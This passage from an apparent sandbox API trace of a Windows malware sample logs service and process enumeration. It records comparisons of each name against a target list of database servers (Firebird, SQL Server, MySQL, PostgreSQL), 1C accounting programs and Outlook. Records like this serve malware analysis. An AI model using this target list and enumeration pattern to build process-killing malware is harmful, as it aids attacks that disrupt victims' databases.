lpString2="Schedule") returned -1 [0265.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0265.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0265.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0265.136] lstrlenW (lpString="SENS") returned 4 [0265.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0265.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0265.136] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0265.136] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0265.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0265.137] lstrlenW (lpString="ShellHWDetection") returned 16 [0265.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0265.137] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0265.137] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0265.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0265.137] lstrlenW (lpString="Spooler") returned 7 [0265.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0265.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0265.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0265.137] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0265.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0265.138] lstrlenW (lpString="SysMain") returned 7 [0265.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0265.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0265.138] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0265.138] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0265.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0265.138] lstrlenW (lpString="Themes") returned 6 [0265.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0265.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0265.138] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0265.138] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0265.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0265.139] lstrlenW (lpString="TrkWks") returned 6 [0265.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0265.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0265.139] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0265.139] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0265.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0265.139] lstrlenW (lpString="UxSms") returned 5 [0265.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0265.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0265.140] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0265.140] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0265.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0265.140] lstrlenW (lpString="WdiServiceHost") returned 14 [0265.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0265.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0265.140] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0265.140] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0265.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0265.140] lstrlenW (lpString="WdiSystemHost") returned 13 [0265.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0265.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0265.140] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0265.140] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0265.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0265.141] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0265.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0265.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0265.141] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0265.141] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0265.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0265.141] lstrlenW (lpString="Winmgmt") returned 7 [0265.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0265.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0265.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0265.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0265.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0265.141] lstrlenW (lpString="WPDBusEnum") returned 10 [0265.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0265.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0265.142] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0265.142] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0265.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0265.142] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41a2db8 | out: hHeap=0x880000) returned 1 [0265.142] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0265.146] Process32FirstW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.148] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.149] lstrlenW (lpString="System") returned 6 [0265.149] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0265.149] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0265.149] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0265.149] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0265.149] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0265.149] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0265.149] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0265.149] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.150] lstrlenW (lpString="smss.exe") returned 8 [0265.151] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0265.151] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0265.151] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0265.151] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0265.151] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0265.151] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0265.151] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0265.151] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.152] lstrlenW (lpString="csrss.exe") returned 9 [0265.152] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0265.152] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0265.152] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0265.152] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0265.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0265.153] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0265.153] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0265.153] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.154] lstrlenW (lpString="wininit.exe") returned 11 [0265.154] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0265.154] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0265.154] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0265.154] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0265.154] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0265.154] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0265.154] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0265.155] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.156] lstrlenW (lpString="csrss.exe") returned 9 [0265.156] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0265.156] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0265.156] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0265.156] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0265.156] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0265.156] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0265.156] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.157] lstrlenW (lpString="winlogon.exe") returned 12 [0265.157] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.158] lstrlenW (lpString="services.exe") returned 12 [0265.159] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.160] lstrlenW (lpString="lsass.exe") returned 9 [0265.160] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0265.161] lstrlenW (lpString="lsm.exe") returned 7 [0265.161] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.290] lstrlenW (lpString="svchost.exe") returned 11 [0265.290] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.291] lstrlenW (lpString="svchost.exe") returned 11 [0265.291] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.293] lstrlenW (lpString="svchost.exe") returned 11 [0265.293] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.294] lstrlenW (lpString="svchost.exe") returned 11 [0265.294] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.295] lstrlenW (lpString="svchost.exe") returned 11 [0265.295] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.296] lstrlenW (lpString="audiodg.exe") returned 11 [0265.296] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.297] lstrlenW (lpString="svchost.exe") returned 11 [0265.297] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.298] lstrlenW (lpString="explorer.exe") returned 12 [0265.298] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.299] lstrlenW (lpString="dwm.exe") returned 7 [0265.299] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.300] lstrlenW (lpString="svchost.exe") returned 11 [0265.301] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0265.303] lstrlenW (lpString="driver.exe") returned 10 [0265.303] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.304] lstrlenW (lpString="spoolsv.exe") returned 11 [0265.304] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0265.305] lstrlenW (lpString="taskhost.exe") returned 12 [0265.305] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.306] lstrlenW (lpString="svchost.exe") returned 11 [0265.306] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0265.307] lstrlenW (lpString="reader_sl.exe") returned 13 [0265.307] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0265.308] lstrlenW (lpString="taskhost.exe") returned 12 [0265.308] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0265.309] lstrlenW (lpString="dllhost.exe") returned 11 [0265.310] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0265.311] lstrlenW (lpString="consent.exe") returned 11 [0265.311] Process32NextW (in: hSnapshot=0x370, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0265.312] CloseHandle (hObject=0x370) returned 1 [0265.312] Sleep (dwMilliseconds=0x1f4) [0266.016] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3158 [0266.017] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0266.017] GetLastError () returned 0xea [0266.017] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x41a2db8 [0266.018] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a2db8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a2db8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0266.019] CloseServiceHandle (hSCObject=0x41c3158) returned 1 [0266.021] lstrlenW (lpString="Appinfo") returned 7 [0266.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0266.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0266.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0266.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0266.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0266.021] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0266.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.021] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0266.021] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0266.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0266.021] lstrlenW (lpString="AudioSrv") returned 8 [0266.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0266.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0266.022] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0266.022] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0266.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0266.022] lstrlenW (lpString="BFE") returned 3 [0266.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0266.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0266.022] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0266.022] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0266.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0266.022] lstrlenW (lpString="CryptSvc") returned 8 [0266.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0266.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0266.023] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0266.023] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0266.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0266.023] lstrlenW (lpString="CscService") returned 10 [0266.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0266.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0266.023] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0266.023] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0266.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0266.023] lstrlenW (lpString="DcomLaunch") returned 10 [0266.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.024] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0266.024] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0266.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0266.024] lstrlenW (lpString="Dhcp") returned 4 [0266.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0266.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0266.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0266.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0266.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0266.024] lstrlenW (lpString="Dnscache") returned 8 [0266.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0266.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0266.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0266.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0266.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0266.025] lstrlenW (lpString="DPS") returned 3 [0266.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0266.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0266.025] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0266.025] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0266.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0266.025] lstrlenW (lpString="eventlog") returned 8 [0266.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0266.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0266.026] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0266.026] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0266.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0266.026] lstrlenW (lpString="EventSystem") returned 11 [0266.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0266.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0266.026] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0266.026] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0266.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0266.026] lstrlenW (lpString="gpsvc") returned 5 [0266.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0266.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0266.027] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0266.027] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0266.027] lstrcmpiW 